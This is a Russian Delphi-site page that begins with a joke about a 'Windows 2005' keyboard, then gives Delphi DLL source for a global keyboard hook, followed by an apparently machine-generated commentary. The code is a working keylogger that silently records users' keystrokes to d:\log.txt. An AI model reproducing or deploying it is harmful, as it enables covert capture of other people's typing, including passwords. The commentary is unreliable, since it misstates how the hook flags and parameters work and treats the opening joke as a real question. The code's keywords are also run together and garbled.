-Как изменится клавиатура для Windows 2005?
-На ней появиться правый и левый Reset.
library Hook;
uses Windows, SysUtils;
const KF_UP_MY = $40000000;
var CurrentHook: HHook;
KeyArray: array[0..19] of char;
KeyArrayPtr: integer;
CurFile:text;
function GlobalKeyBoardHook(code: integer; wParam: integer; lParam:
integer): longword; stdcall;
var
i:integer;
beginif code< 0 thenbegin
result:=CallNextHookEx(CurrentHook,code,wParam,lparam);
Exit;
end;
if ( (lParam and KF_UP_MY ) = 0) and (wParam> =65) and (wParam< =90) thenbegin
KeyArray[KeyArrayPtr]:=char(wParam);
KeyArrayPtr:=KeyArrayPtr+1;
if KeyArrayPtr> 19 thenbeginfor i:=0 to 19 dobegin
Assignfile(CurFile,'d:\log.txt');
if fileexists('d:\log.txt')=falsethen rewrite(CurFile)
else Append(CurFile);
write(Curfile, KeyArray[i]);
closefile(curfile);
end;
KeyArrayPtr:=0;
end;
end;
CallNextHookEx(CurrentHook,code,wParam,lparam);
result:=0;
end;
procedure SetupGlobalKeyBoardHook;
begin
CurrentHook:=SetWindowsHookEx(WH_KEYBOARD, @GlobalKeyBoardHook,HInstance, 0);
KeyArrayptr:=0;
end;
procedure unhook;
begin
UnhookWindowshookEx(CurrentHook);
end;
exports
SetupGlobalKeyBoardHook, UnHook;
beginend.
Программа на Delphi, которая реализует глобальный hook для клавиатуры в Windows, предназначенный для захвата и записи нажатий пользователем.
Вот разбивка кода:
Директива library Hook указывает, что это библиотека, предоставляющая набор функций.
Строка uses Windows, SysUtils; импортирует модули Windows и SysUtils, которые обеспечивают различные константы, типы и процедуры для работы с Windows и Delphi-специфичными функциональными возможностями.
Константа KF_UP_MY = $40000000; определяет флаг KF_UP, который используется для указания, что hook должен только захватывать нажатия клавиш из текущего потока (т.е., потока, владеющего окном).
Переменные var CurrentHook: HHOOK; KeyArray: array[0..19] of char; KeyArrayPtr: integer; CurFile: text; объявлены следующим образом:
CurrentHook: экземпляр типа HHOOK, представляющий handle hook.
KeyArray: массив из 20 символов, который будет хранить зафиксированные нажатия клавиш.
KeyArrayPtr: целочисленная переменная, указывающая на текущий элемент в массиве KeyArray.
CurFile: текстовая переменная, используемая для записи зафиксированных нажатий клавиш в файл.
Функция function GlobalKeyBoardHook(code: integer; wParam: integer; lParam: integer): longword; stdcall; объявлена как процедура hook, которая будет вызываться при каждом событии клавиатуры. Эта функция принимает три параметра:
code: целочисленная переменная, представляющая тип события (например, WM_KEYDOWN, WM_KEYUP и т.д.).
wParam: целочисленная переменная, представляющая код виртуальной клавиши.
Процедура hook проверяет, является ли событие нажатием клавиши, и если да, добавляет символ, представленный параметром wParam, в массив KeyArray. Если массив полон, то он записывает содержимое массива в файл, указанный в переменной CurFile.
Процедура SetupGlobalKeyBoardHook; настраивает глобальный hook клавиатуры, вызывая функцию SetWindowsHookEx с параметрами WH_KEYBOARD и указателем на процедуру GlobalKeyBoardHook.
В отношении изменения раскладки клавиш в Windows 2005, стоит отметить, что код не является специфичным для какой-либо конкретной версии Windows. Однако, если вы имеете в виду Windows XP (который был выпущен приблизительно в то же время, что и Windows Server 2003), по умолчанию раскладка клавиш в Windows XP - это "US"-раскладка, которая включает в себя клавиши Ctrl, Alt и Shift. Код будет работать с этой раскладкой.
В отношении появления правой и левой кнопок Reset на клавиатуре, невозможно добавить пользовательские кнопки к физической клавиатуре. Однако, если вы имеете в виду виртуальную клавиатуру Windows, то можно настроить ее поведение с помощью API Windows или третьепартийных библиотек.
В статье описывается создание глобального хука на клаву в Windows с помощью языка программирования Delphi, который позволяет изменить поведение клавиатуры и записывать вводимые символы в файл.
Комментарии и вопросы
Получайте свежие новости и обновления по Object Pascal, Delphi и Lazarus прямо в свой смартфон. Подпишитесь на наш Telegram-канал delphi_kansoftware и будьте в курсе последних тенденций в разработке под Linux, Windows, Android и iOS
Материалы статей собраны из открытых источников, владелец сайта не претендует на авторство. Там где авторство установить не удалось, материал подаётся без имени автора. В случае если Вы считаете, что Ваши права нарушены, пожалуйста, свяжитесь с владельцем сайта.